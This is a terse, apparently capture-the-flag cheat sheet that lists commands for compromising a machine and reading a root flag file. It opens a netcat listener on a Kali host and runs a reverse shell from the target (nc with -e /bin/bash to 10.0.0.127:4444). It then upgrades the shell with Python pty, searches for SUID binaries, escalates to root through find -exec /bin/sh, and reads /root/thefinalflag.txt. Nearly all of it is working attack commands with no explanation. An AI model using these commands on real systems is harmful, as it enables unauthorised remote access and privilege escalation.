- No terminal Kali Linux: nc -lvp 4444 - No Shell: nc -nv 10.0.0.127 4444 -e /bin/bash python -c 'import pty; pty.spawn("/bin/bash")' find / -perm /4000 find . -exec '/bin/sh' \; whoami cd /root ls cat thefinalflag.txt